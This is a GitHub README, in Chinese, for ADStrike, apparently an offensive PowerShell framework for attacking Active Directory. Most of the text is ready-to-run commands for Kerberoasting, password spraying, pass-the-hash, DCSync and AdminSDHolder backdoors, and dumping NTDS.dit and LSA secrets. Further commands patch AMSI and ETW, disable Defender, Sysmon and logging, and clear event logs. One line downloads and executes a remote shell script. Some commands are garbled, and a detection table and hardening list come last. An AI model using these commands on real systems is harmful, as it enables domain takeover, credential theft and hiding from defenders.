RemmyNine/ADStrike

GitHub: RemmyNine/ADStrike

ADStrike 是一个纯 PowerShell 实现的模块化活动目录渗透测试与红队框架,覆盖从侦察到数据窃取的完整 AD 攻击链。

Stars: 0 | Forks: 0

# ADStrike ``` ___ __ __ ___ __ / | / /__ / /_ / | __ __ ____/ / / /| | / / -_) __/ / /| |/ / / / / __ / / ___ |/ /__ / / / ___ / /_/ / /_/ / /_/ |_/____/_/ /_/ |_\__,_/\__,_/ AD Pentest & Red Team Framework v1.1 ``` ## 目录 - [免责声明](#disclaimer) - [功能](#features) - [仓库结构](#repository-layout) - [安装说明](#installation) - [快速入门](#quick-start) - [CLI 参考](#cli-reference) - [模块](#modules) - [Recon](#1-recon---reconnaissance) - [Credentials](#2-credentials---kerberoast--as-rep--spray--dcsync) - [横向移动](#3-lateral-movement) - [权限提升](#4-privilege-escalation) - [权限维持](#5-persistence) - [数据窃取](#6-exfiltration) - [防御规避](#7-defense-evasion) - [信息收集](#8-information-gathering) - [输出格式](#output-formats) - [防御说明](#defensive-notes) - [参考文献](#references) ## 免责声明 本工具仅供**授权的安全测试、红队演练及教育目的**使用。对您不拥有或未获得明确授权测试的系统使用本工具是非法的。作者对滥用行为不承担任何责任。务必签署交战规则和授权范围协议。ADStrike 会生成相关工件并触发检测;请据此妥善规划您的操作。 ## 功能 * **纯 PowerShell** + .NET,无需外部二进制文件 * **模块化架构** - 按需加载 * **跨平台兼容** - 可在任何加入域或可通过 LDAP 访问的 Windows 主机上运行(支持 PowerShell 5.1 / 7) * **统一的 CLI** - 单个 `ADStrike.ps1` 入口点,采用基于动词的模块设计 * 针对破坏性操作提供**内置安全提示** * 支持多种输出格式(Table / JSON / CSV)及可选的会话日志 * **覆盖完整的 AD 攻击链**: * 侦察 -> 初始访问 -> 权限提升 -> 横向移动 -> 权限维持 -> 数据窃取 ## 仓库结构 ``` ADTools/ |-- ADStrike.ps1 # Main CLI dispatcher (entry point) |-- README.md # This file |-- lib/ | |-- Common.ps1 # Shared helpers (LDAP, output, init) |-- Modules/ |-- Recon.ps1 # Enumeration |-- Credentials.ps1 # Kerberoast / AS-REP / Spray / DCSync audit |-- LateralMovement.ps1 # WMI / PSRemoting / PSExec / DCOM / PtH |-- PrivEsc.ps1 # ACL audit / GPO / LAPS / ADCS ESC / local |-- Persistence.ps1 # DCSync ACL / AdminSDHolder / Golden-Silver / GPO |-- Exfiltration.ps1 # VSS / DiskShadow / IFM / SAM / LSA / GPP |-- DefenseEvasion.ps1 # AMSI / ETW / Logging / Defender / Sysmon / Console cleanup ``` ## 安装说明 无需安装 - 本框架完全可移植。 ``` # 将 ADTools 目录克隆或复制到您的目标主机 cd C:\Tools\ADTools # 为当前进程绕过执行策略 Set-ExecutionPolicy -Scope Process Bypass # 运行 help powershell -ExecutionPolicy Bypass -File .\ADStrike.ps1 -Module list ``` ### 前置条件 | 组件 | 用途 | 适用模块 | |-----------|---------|--------------| | PowerShell 5.1+ | 引擎 | 所有模块 | | `System.DirectoryServices` (内置) | LDAP 查询 | 所有模块 | | `System.IdentityModel` (内置) | Kerberos 票据请求 | Kerberoast, AS-REP Roast | | `Microsoft.ActiveDirectory.Management` | AD PowerShell cmdlets (可选) | 部分快捷功能 | | `GroupPolicy` PS 模块 | GPO 操作 | 权限维持 GPO | | 目标主机上启用 WinRM | PSRemoting | Lateral -PSRemoting | | 目标主机本地管理员 | WMI / SCM / VSS | Lateral -WMI/-PSExec, Exfil -VSS | | Domain Admin / DC 访问权限 | DCSync, NTDS.dit | 数据窃取, 权限维持 | | 管理员 (提权) | AMSI/ETW 补丁, Defender 控制 | 防御规避 | ## 快速入门 ``` # 1) 全面侦察 .\ADStrike.ps1 -Module recon -All # 2) 仅 Kerberoastable 账户 .\ADStrike.ps1 -Module recon -Target Kerberoastable # 3) Kerberoast 所有 SPN .\ADStrike.ps1 -Module kerberoast -OutputFile tickets.csv # 4) AS-REP Roast .\ADStrike.ps1 -Module asreproast -OutputFile asrep.csv # 5) 智能密码喷洒 .\ADStrike.ps1 -Module spray -UserListFile .\users.txt -Password 'Spring2026!' -JitterMs 1500 -ThresholdPercent 5 # 6) WMI exec (使用备用凭据) .\ADStrike.ps1 -Module wmiexec -ComputerName FS01 -Command 'cmd /c whoami' -Credential (Get-Credential) # 7) 权限提升审计 .\ADStrike.ps1 -Module privesc -All # 8) 通过 VSS 窃取 NTDS.dit .\ADStrike.ps1 -Module exfil -VSS -DomainController DC01 # 9) 持久化:DCSync ACL 后门 .\ADStrike.ps1 -Module persistence -DCSync -SamAccountName 'helpdesk' -Credential (Get-Credential) # 10) 运行任何模块前的防御规避 .\ADStrike.ps1 -Module evasion -AMSI -AMSI Method Patch -Force .\ADStrike.ps1 -Module evasion -ETW -Force .\ADStrike.ps1 -Module evasion -PSLogOff -ClearHistory -Force ``` ## CLI 参考 ``` Usage: ADStrike.ps1 -Module [options] Common options (apply to most modules): -Domain Override auto-detected domain -DomainController Override auto-detected DC -Credential Alternate credentials -OutputFormat Table|JSON|CSV -OutputFile Export to file -LogPath Mirror session output to log -NoColor Disable ANSI colors -Verbose Debug/trace -Force Skip confirmations on destructive ops -Help / -Module list : list modules -Module : invoke that module (use -Module for module-specific help) ``` ## 模块 ### 1. `recon` - 侦察 对 AD 林进行全面枚举。 **目标:** `All` (默认), `Domain`, `DomainControllers`, `Users`, `Groups`, `Computers`, `PrivilegedUsers`, `Kerberoastable`, `ASREPRoastable`, `Delegation`, `Trusts`, `GPOs`, `OUs`, `CATemplates`, `CAServers`, `Sessions`。 ``` # 全面侦察 .\ADStrike.ps1 -Module recon -All -OutputFormat JSON -OutputFile recon.json # 仅特定 OU 中的用户 .\ADStrike.ps1 -Module recon -Target Users -SearchBase "OU=Staff,DC=acme,DC=local" # 信任 (用于跨域信任滥用) .\ADStrike.ps1 -Module recon -Target Trusts -Credential (Get-Credential) ``` 返回内容(部分): | 目标 | 获取的信息 | |-------------------|--------------| | DomainInfo | 功能级别、林信息、DC | | DomainControllers | 操作系统、GC 标志、DNS 主机名 | | Users | SamAccountName, UAC 标志、上次登录、上次设置密码时间、SPN、adminCount | | Groups | 作用域、成员数量、adminCount、managed-by | | Computers | 操作系统、委派信任、上次登录 | | PrivilegedUsers | `admincount=1` 的账户 | | Kerberoastable | 所有带有 SPN 的用户对象 | | ASREPRoastable | 所有设置了 `DONT_REQUIRE_PREAUTH` 的账户 | | Delegation | 非约束与约束委派账户 | | Trusts | 方向、类型、属性(过滤 SID、RC4 等) | | GPOs | 显示名称、版本、DN | | OUs | OU 列表 | | CAServers | AD CS 服务器(如果 `ADCS` 模块可用) | | CATemplates | AD CS 模板(ESC 探测) | | Sessions | 当前进程、用户、组、完整性级别 | ### 2. `credentials` - Kerberoast / AS-REP / Spray / DCSync #### `kerberoast` 使用内置的 `System.IdentityModel.Tokens.KerberosRequestorSecurityToken` API 请求带有 SPN 账户的 TGS 票据。 ``` .\ADStrike.ps1 -Module kerberoast .\ADStrike.ps1 -Module kerberoast -SamAccountName svc-sql -TgtCount 5 -OutputFile svc-sql.csv .\ADStrike.ps1 -Module kerberoast -SPN 'MSSQLSvc/sql01.acme.local:1433' ``` #### `asreproast` 为设置了 `DONT_REQUIRE_PREAUTH` 的账户请求 AS-REP。还包含一个辅助功能,可通过 `Credentials.SetPreAuth` 操作**为任何账户切换 DONT_REQ_PREAUTH 标志**(需要 `User-Force-Change-Password` 或更高权限)。 ``` .\ADStrike.ps1 -Module asreproast .\ADStrike.ps1 -Module asreproast -SamAccountName jane.doe -TgtCount 5 -OutputFile asrep.csv ``` #### `spray` 带有抖动和锁定感知的智能密码喷射。 ``` .\ADStrike.ps1 -Module spray -UserListFile .\users.txt -Password 'Spring2026!' ` -JitterMs 1500 -ThresholdPercent 5 ``` * `-JitterMs` 在尝试之间增加随机延迟 (0..N)。 * `-ThresholdPercent` 在目标超过用户总数的百分比时会发出警告/中止(有助于避免大规模账户锁定)。 * `-Force` 跳过确认提示。 #### DCSync 权限审计 ``` .\ADStrike.ps1 -Module creds -Action DCSyncAudit ``` 返回在域 NC、Configuration NC 和 Schema NC 上拥有 `Replicating Directory Changes`、`... All` 或 `... In Filtered Set` 权限的主体。 ### 3. `lateral` - 横向移动 ``` # 连接性测试 (SMB/WinRM/RDP/LDAP/Kerberos) .\ADStrike.ps1 -Module lateral -Test -ComputerName FS01,DC01 # WMI 命令执行 .\ADStrike.ps1 -Module wmiexec -ComputerName FS01 -Command 'cmd /c whoami' -Credential (Get-Credential) # PowerShell Remoting .\ADStrike.ps1 -Module lateral -PSRemoting -ComputerName FS01 ` -ScriptBlock { hostname; whoami /all } # PSExec 式服务执行 .\ADStrike.ps1 -Module psexec -ComputerName FS01 -BinaryPath 'C:\beacon.exe' # DCOM ShellWindows .\ADStrike.ps1 -Module lateral -DCOMShellWindows -ComputerName FS01 -Command 'calc.exe' # DCOM MMC20 .\ADStrike.ps1 -Module lateral -DCOMMMC20 -ComputerName FS01 -Command 'calc.exe' # 计划任务 (延迟) .\ADStrike.ps1 -Module lateral -ScheduledTask -ComputerName FS01 ` -Command 'powershell -enc ...' -DelaySeconds 60 # 通过 WMI 进行 Pass-the-Hash (NTLM relay 使用 LM:NTHash 格式) .\ADStrike.ps1 -Module lateral -PassTheHash -ComputerName FS01 ` -Username Administrator -NTHash aad3b435b51404eeaad3b435b51404ee -Command 'whoami' # 使用显式凭据的 Pass-the-Hash .\ADStrike.ps1 -Module lateral -PassTheHash -ComputerName FS01 ` -Credential (Get-Credential) -Command 'whoami' # 会话枚举 .\ADStrike.ps1 -Module lateral -Sessions -ComputerName FS01 .\ADStrike.ps1 -Module lateral -NetSessions -ComputerName FS01 ``` ### 4. `privesc` - 权限提升 审计 AD 和本地主机以查找常见的提权路径。 ``` # 运行所有内容 .\ADStrike.ps1 -Module privesc -All # ACL 滥用路径 (GenericAll / WriteDacl / WriteOwner / GenericWrite) .\ADStrike.ps1 -Module privesc -ACL # ADCS ESC1 / ESC4 .\ADStrike.ps1 -Module privesc -ESC1 .\ADStrike.ps1 -Module privesc -ESC4 # LAPS 读取 .\ADStrike.ps1 -Module privesc -LAPS -ComputerNameLAPS 'FS01' # 本地:未加引号的服务路径、可修改的服务目录、AlwaysInstallElevated .\ADStrike.ps1 -Module privesc -LocalPaths .\ADStrike.ps1 -Module privesc -LocalModifiable .\ADStrike.ps1 -Module privesc -AlwaysInstallElevated ``` 包含漏洞利用辅助功能: * `Add-ADSGroupMember`(利用对组的 GenericAll/GenericWrite 权限) * `Invoke-ADSForceChangePassword`(利用 User-Force-Change-Password 权限) * `Invoke-ADSWriteDACL`(利用对目标的 WriteDacl 权限) ### 5. `persistence` - 权限维持 ``` # 向组中添加成员 .\ADStrike.ps1 -Module persistence -AddMember -GroupName 'Domain Admins' -MemberSam 'svc-backup' # 创建新用户 .\ADStrike.ps1 -Module persistence -NewUser -SamAccountName 'helpdesk' ` -Password 'P@ssw0rd123!' -OU 'OU=Service,DC=acme,DC=local' -Force # 授予 DCSync 权限 .\ADStrike.ps1 -Module persistence -DCSync -SamAccountName 'helpdesk' -Credential (Get-Credential) # AdminSDHolder 滥用 (ACE) .\ADStrike.ps1 -Module persistence -AdminSDHolder -SamAccountName 'helpdesk' -Rights GenericAll # 强制 SDProp 将 ACE 推送到受保护账户 .\ADStrike.ps1 -Module persistence -Module persistence -Module persistence # Golden / Silver ticket 规范 (Rubeus / Mimikatz 调用) .\ADStrike.ps1 -Module persistence -Golden -KrbtgtHash -DomainSID S-1-5-21-... .\ADStrike.ps1 -Module persistence -Silver -ServiceHash -SPN 'MSSQLSvc/sql:1433' -DomainSID S-1-5-21-... # Skeleton key (需要 DC 代码执行 - PSRemoting 包装器) .\ADStrike.ps1 -Module persistence -Skeleton -DomainController DC01 # GPO 计划任务 / Run 键 .\ADStrike.ps1 -Module persistence -GPO -GPOName 'Workstation Policy' -Command 'powershell -enc ...' # Machine account quota .\ADStrike.ps1 -Module persistence -Quota ``` ### 6. `exfil` - 数据窃取 ``` # 通过 VSS shadow 获取 NTDS.dit + SYSTEM .\ADStrike.ps1 -Module exfil -VSS -DomainController DC01 # 通过 diskshadow 获取相同内容 .\ADStrike.ps1 -Module exfil -DiskShadow -DomainController DC01 # Install From Media (ntdsutil ac in ntds ifm) .\ADStrike.ps1 -Module exfil -IFM -DomainController DC01 # 本地 SAM/SYSTEM/SECURITY 转储 .\ADStrike.ps1 -Module exfil -Hives -ComputerName WS01 # LSA secrets (通过 P/Invoke 的 LsaRetrievePrivateData) .\ADStrike.ps1 -Module exfil -LSA -ComputerName WS01 # GPP cpassword 解密 .\ADStrike.ps1 -Module exfil -GPP -Credential (Get-Credential) # WiFi 配置文件 / 密钥 .\ADStrike.ps1 -Module exfil -Wifi # 浏览器凭据存储定位器 .\ADStrike.ps1 -Module exfil -Browser # 敏感文件搜寻 (.kdbx, .pem, id_rsa, *.pfx, ...) .\ADStrike.ps1 -Module exfil -Sensitive -Path C:\Users # 网络共享 .\ADStrike.ps1 -Module exfil -Shares -ComputerName FS01 ``` 解析输出的方式: * `secretsdump.py -system SYSTEM -sam SAM -ntds ntds.dit LOCAL` * `impacket-secretsdump ...` * `hashcat -m 1000 / -m 1100 / -m 13100 / -m 18200` ### 7. `evasion` - 防御规避 全面的全内存补丁、日志抑制和操作安全清理。需要提权(管理员)会话。 ``` # 完整安全上下文快照 .\ADStrike.ps1 -Module evasion -Status ``` 返回:PS 版本、版本类型、执行策略、语言模式、ScriptBlock / Module / Transcription 日志记录状态、AMSI 状态、ETW 状态、Defender 状态、LSA/Credential Guard、Sysmon、WDAC/AppLocker。 #### AMSI 绕过(3 种方法) | 方法 | 技术 | 效果 | |--------|-----------|--------| | `Patch` | 覆盖 `AmsiScanBuffer` 函数序言 | 为所有扫描返回 `E_INVALIDARG` | | `Drain` | 覆盖 `AmsiScanBuffer` | 返回 0 (AMSI_RESULT_CLEAN) - 所有内容均放行 | | `CLSID` | 反射:设置 `amsiInitFailed = true` | AMSI 永不初始化 | ``` .\ADStrike.ps1 -Module evasion -AMSI -AMSI Method Patch -Force .\ADStrike.ps1 -Module evasion -AMSI -AMSI Method Drain -Force .\ADStrike.ps1 -Module evasion -AMSI -AMSI Method CLSID -Force ``` #### ETW 绕过(2 种方法) | 方法 | 技术 | 效果 | |--------|-----------|--------| | `Patch` | 覆盖 `EtwEventWrite` 函数序言 | `xor eax,eax; ret` - 返回 STATUS_SUCCESS (0) | | `Provider` | .NET 反射 | 尝试禁用 ETW 提供程序 | ``` .\ADStrike.ps1 -Module evasion -ETW -Force .\ADStrike.ps1 -Module evasion -ETW -ETWMethod Provider -Force ``` #### PowerShell 日志抑制 禁用 HKCU 和 HKLM(以管理员身份运行时)中的 ScriptBlock、Module 和 Transcription 日志记录。移除现有的策略键。 ``` .\ADStrike.ps1 -Module evasion -PSLogOff -Force .\ADStrike.ps1 -Module evasion -PSLogOn ``` #### 事件日志篡改 ``` # 清除标准日志 .\ADStrike.ps1 -Module evasion -ClearLogs -LogNames Security,System,Application # 扩展的默认集合包括: # Security, System, Application, Windows PowerShell, # Microsoft-Windows-PowerShell/Operational, Sysmon, Defender, # TerminalServices-LocalSessionManager, TerminalServices-RemoteConnectionManager # 选择性过滤 - 移除匹配模式的条目 .\ADStrike.ps1 -Module evasion -FilterLog -LogNames Security -LogFilterPattern 'mimikatz' -Force ``` #### Defender / AV 控制 ``` # 添加排除项 (路径、进程、扩展名) .\ADStrike.ps1 -Module evasion -DefenderAdd -Path 'C:\Windows\Temp' -Process 'beacon.exe' -Force .\ADStrike.ps1 -Module evasion -DefenderAdd -Path 'C:\Tools' -Extension '.ps1' -Force # 禁用实时保护 + 行为监控 + IOAV + 首次拦截 .\ADStrike.ps1 -Module evasion -DefenderRT -Force # 重新启用所有 Defender 保护 .\ADStrike.ps1 -Module evasion -DefenderRestore # 完整的 Defender 状态 (排除项、签名年龄、保护状态) .\ADStrike.ps1 -Module evasion -DefenderStatus ``` #### PowerShell 降级 启动支持 PSv2 的主机(绕过 AMSI + ScriptBlockLogging)。 ``` # 交互式降级 .\ADStrike.ps1 -Module evasion -Downgrade -Force # 直接在降级的主机中执行命令 .\ADStrike.ps1 -Module evasion -Downgrade -Command 'IEX (Get-WebClient).DownloadString("http://10.0.0.1/shell.ps1")' ``` #### 控制台 / 历史记录清理 ``` # 清除 PSReadline 历史记录文件 + transcript 文件 .\ADStrike.ps1 -Module evasion -ClearHistory -Force # 清除 Run 对话框 MRU + cmd.exe MRU .\ADStrike.ps1 -Module evasion -ClearMRU -Force ``` #### Sysmon 规避 ``` # 停止 Sysmon 服务 (重启后重新启动) .\ADStrike.ps1 -Module evasion -StopSysmon -Force # 检查 Sysmon 状态 .\ADStrike.ps1 -Module evasion -SysmonStatus ``` #### LSA / Credential Guard / 应用程序控制 ``` # LSA PPL, Credential Guard, LsaCfgFlags .\ADStrike.ps1 -Module evasion -LSA # WDAC / AppLocker 状态 .\ADStrike.ps1 -Module evasion -WDACStatus # Constrained Language Mode 检查 .\ADStrike.ps1 -Module evasion -CLMCheck ``` ### 8. `infogather` - 信息收集 外部网络侦察,包含三种经过 OPSEC 调优的模式。用于身份验证前阶段:目标发现、端口/服务枚举、DNS 情报以及目标域的 OSINT。 #### 模式 | 模式 | 并发数 | 默认端口集 | 抖动 | OPSEC 策略 | |-------------|-------------|------------------|-----------|---------------| | Normal | 32 | 前 1000 个 TCP | 0-50ms | 均衡 | | Stealth | 1 | 约 21 个常见端口 | 500-3000ms| 低速慢行 | | Aggressive | 200 | 全部 65535 | 0 | 高调 / 追求速度 | #### 目标 | 参数 | 示例 | 备注 | |---------------|--------------------------------------|-------| | `-IGTarget` | `dc01.corp.local` | 单个主机 (FQDN 或 IP) | | `-Targets` | `dc01.corp.local,fs01.corp.local` | 主机数组 | | `-CIDR` | `10.0.0.0/24` | 与 `-PingSweep` 配合使用 | | `-IGDomain` | `corp.local` | 用于 DNS/OSINT/邮件/证书透明度 | | `-DNSServer` | `10.0.0.1` | 要查询的 DNS 服务器 | | `-URL` | `https://target/` | 用于 `-HTTP` 探测 | | `-Community` | `public` | SNMP 社区字符串(默认为 public) | | `-Credential` | `(Get-Credential)` | 用于 SMB / WMI / RPC | | `-ComputerName` | `fs01` | 用于 `-SMBShares` 等 | #### 端口选择 - `-AllPorts` - 全部 1-65535 - `-CommonPorts` - 21 个及以上最常见的 TCP 服务 - `-TopPorts` - Nmap 风格的前 1000 个(Normal 模式下的默认值) - `-IGPorts 80,443,8080-8090` - 显式列表 / 范围 #### 操作 | 开关 | 用途 | |--------|---------| | `-LocalInfo` | 本地子网、监听端口、ARP、路由 | | `-PingSweep` | 对 CIDR 进行 ICMP 扫描 | | `-PortScan` | TCP 连接扫描 | | `-SYNScan` | 原始套接字 SYN 扫描(需要管理员权限) | | `-UDPScan` | UDP 顶级端口扫描 | | `-ServiceProbe` | 抓取服务 banner / 版本 | | `-DNS` | DNS 记录枚举 | | `-ReverseDNS` | 跨 CIDR 的 PTR 查找 | | `-ZoneTransfer` | AXFR 尝试 | | `-DNSCache` | 本地 DNS 缓存转储 | | `-SMBShares` | 枚举 SMB 共享 | | `-SMBSessions` | 活动 SMB 会话 | | `-SMBOS` | 通过 SMB 获取远程操作系统信息 | | `-NetBIOS` | NetBIOS 名称解析 | | `-RPC` | RPC 端点绑定 | | `-SNMP` | SNMP sysDescr / sysName | | `-HTTP` | Web 指纹(标题、服务器、标头) | | `-OSINT` | crt.sh, HackerTarget, ThreatCrowd 子域 | | `-EmailHarvest` | 从搜索引擎收集邮箱 | | `-CertTransparency` | 证书透明度日志 | | `-Whois` | IP WHOIS 查询 | | `-DecoyScan` | 扫描中的诱饵源 IP| `-IGAll` | 完整的 Normal 模式扫描 | #### 示例 ``` # 本地侦察 (无网络) .\ADStrike.ps1 -Module infogather -Mode Normal -LocalInfo # 隐蔽 ICMP 扫描 .\ADStrike.ps1 -Module infogather -Mode Stealth -PingSweep -CIDR 10.0.0.0/24 # 激进的全端口扫描 .\ADStrike.ps1 -Module infogather -Mode Aggressive -PortScan -IGTarget dc01.corp.local -AllPorts # DNS + 区域传送 .\ADStrike.ps1 -Module infogather -Mode Normal -DNS -ZoneTransfer -IGDomain corp.local -DNSServer 10.0.0.1 # OSINT + 电子邮件收集 + 证书透明度 .\ADStrike.ps1 -Module infogather -Mode Normal -OSINT -EmailHarvest -CertTransparency -IGDomain corp.local # SMB 共享 (已认证) .\ADStrike.ps1 -Module infogather -Mode Normal -SMBShares -ComputerName fs01 -Credential (Get-Credential) # SYN 扫描 (原始 socket - 仅限提权后) .\ADStrike.ps1 -Module infogather -Mode Aggressive -SYNScan -IGTarget 10.0.0.5 -CommonPorts # 全面自动扫描 .\ADStrike.ps1 -Module infogather -Mode Normal -IGAll -IGDomain corp.local -Targets dc01.corp.local,fs01.corp.local ``` #### OPSEC 注意事项 - **Stealth** 使用串行扫描,仅扫描常见端口,并带有 500-3000ms 的抖动。在 Stealth 模式下避免使用 `-IGAll` — 它会扩展为完整的枚举集。 - **SYN 扫描**需要原始套接字权限。在现代 Windows 上,除非以 NT AUTHORITY\SYSTEM 身份运行,否则会被阻止。尽可能首选 `-PortScan`。 - **OSINT / EmailHarvest / CertTransparency / Whois** 使用公共 Web API(crt.sh, HackerTarget, ThreatCrowd)。应将出站 IP 视为已被蓝队掌握。 - 所有开关均可组合使用;调度器会读取 `$PSBoundParameters.Keys`。 ## 输出格式 ``` # 表格 (默认,彩色) .\ADStrike.ps1 -Module recon -Target Users # JSON .\ADStrike.ps1 -Module recon -All -OutputFormat JSON # CSV .\ADStrike.ps1 -Module recon -Target Kerberoastable -OutputFormat CSV -OutputFile krbt.csv ``` 将所有内容记录到文件: ``` .\ADStrike.ps1 -Module recon -All -LogPath C:\ProgramData\ads.log ``` ## 防御说明 如果您在紫队 / 检测工程环境中使用 ADStrike,应考虑以下**检测机会**: | 模块 | 生成的事件 ID / IOC | |--------------------|----------------------------| | `recon` | 4624/4625 登录激增,目录服务对象访问引发 4662 | | `kerberoast` | 4769 TGS 请求 (RC4-HMAC, 无预身份验证) | | `asreproast` | 带有 `0x400000` 标志的 4768,4738 UAC 更改 | | `spray` | 4625 爆发,4771 kerberos 预身份验证失败,4740 账户锁定 | | `lateral -WMI` | wmiprvse.exe 子进程 (Sysmon EID 1) | | `lateral -PSExec` | 7045 "Service Control Manager" 事件 (PSExec 风格服务) | | `lateral -DCOM` | MMC20, ShellWindows COM 对象 | | `lateral -Task` | 4698/4702 计划任务创建 | | `lateral -PtH` | 4624 类型 9 / 类型 3,仅限 NTLM | | `privesc -LAPS` | 读取 `ms-Mcs-AdmPwd` 引发的 4662 | | `privesc -ESC1` | 4886/4887 证书注册事件 | | `persistence -DCSync` | 带有 `DS-Replication-Get-Changes-All` 的 4662 | | `persistence -AdminSDHolder` | 针对 `CN=AdminSDHolder,CN=System` 的 4662 | | `exfil -VSS` | 13/202 VSS 创建事件,4663 读取 NTDS.dit | | `evasion -AMSI` | 4104 ScriptBlock 日志记录被抑制 | | `evasion -ETW` | 事件跟踪丢失,ETW 提供程序分离警报 | | `evasion -ClearLogs` | 1102 审计日志清除事件 | | `evasion -Defender` | MpPreference 更改 (4688 包含 Set-MpPreference) | | `evasion -Sysmon` | 服务停止事件 (7036/7039) | 加固清单: * 启用 ScriptBlock 日志记录 (4104) 和 Module 日志记录 (4103) * 启用命令行审计(4688 包含 cmdline) * 限制 `Replicating Directory Changes` ACL * 尽可能禁用 `DONT_REQUIRE_PREAUTH` (UAC 4194304) * 将 `ms-DS-Machine-Account-Quota` 设置为 0 * 为本地管理员使用 LAPS(或 LAPSv2) * 为 Tier-0 使用 PAW (Privileged Access Workstations) * 启用 Credential Guard + LSA PPL (RunAsPPL) * 采用 Tier 模型 + 纯净源主体 * 对 AdminSDHolder、DCSync、GPO、OU 进行持续的 ACL 审计 * 监控 AMSI 补丁尝试(amsiInitFailed 反射,对 amsi.dll 调用 VirtualProtect) * 针对 amsi.dll / ntdll.dll 补丁监控 Sysmon EID 7(镜像已加载) * ETW 提供程序篡改检测 ## 参考文献 * [ired.team - AD 方法论](https://www.ired.team/) * [HackTricks - AD](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology) * [The Hacker Recipes](https://www.thehackerrecipes.com/) * [ADCS ESC1-ESC8 (SpecterOps)](https://posts.specterops.io/certified-pre-owned-d95910965cd2) * [Sean Metcalf - ADSecurity](https://adsecurity.org/) * [Will Schroeder - ACL 滥用](https://wald0.com/?p=112) * [Charlie Clark - NTLM/Kerberos](https://en.hackndo.com/kerberos-silver-golden-tickets/) * [AMSI 绕过技术](https://amsi.fail/) * [ETW 补丁](https://blog.sektor7.net/#!res/2021/edr.md) ## 许可证 MIT - 详情请参阅 `LICENSE`(如有需要,由用户提供)。 **请负责任地使用,且仅针对您获得授权测试的系统。**
标签:AI合规, Checkov, DNS 反向解析, HTTP, IPv6, IP 地址批量处理, Libemu, PE 加载器, PowerShell, Web报告查看器, 多人体追踪, 多语言支持, 安全测试框架, 模拟器, 活动目录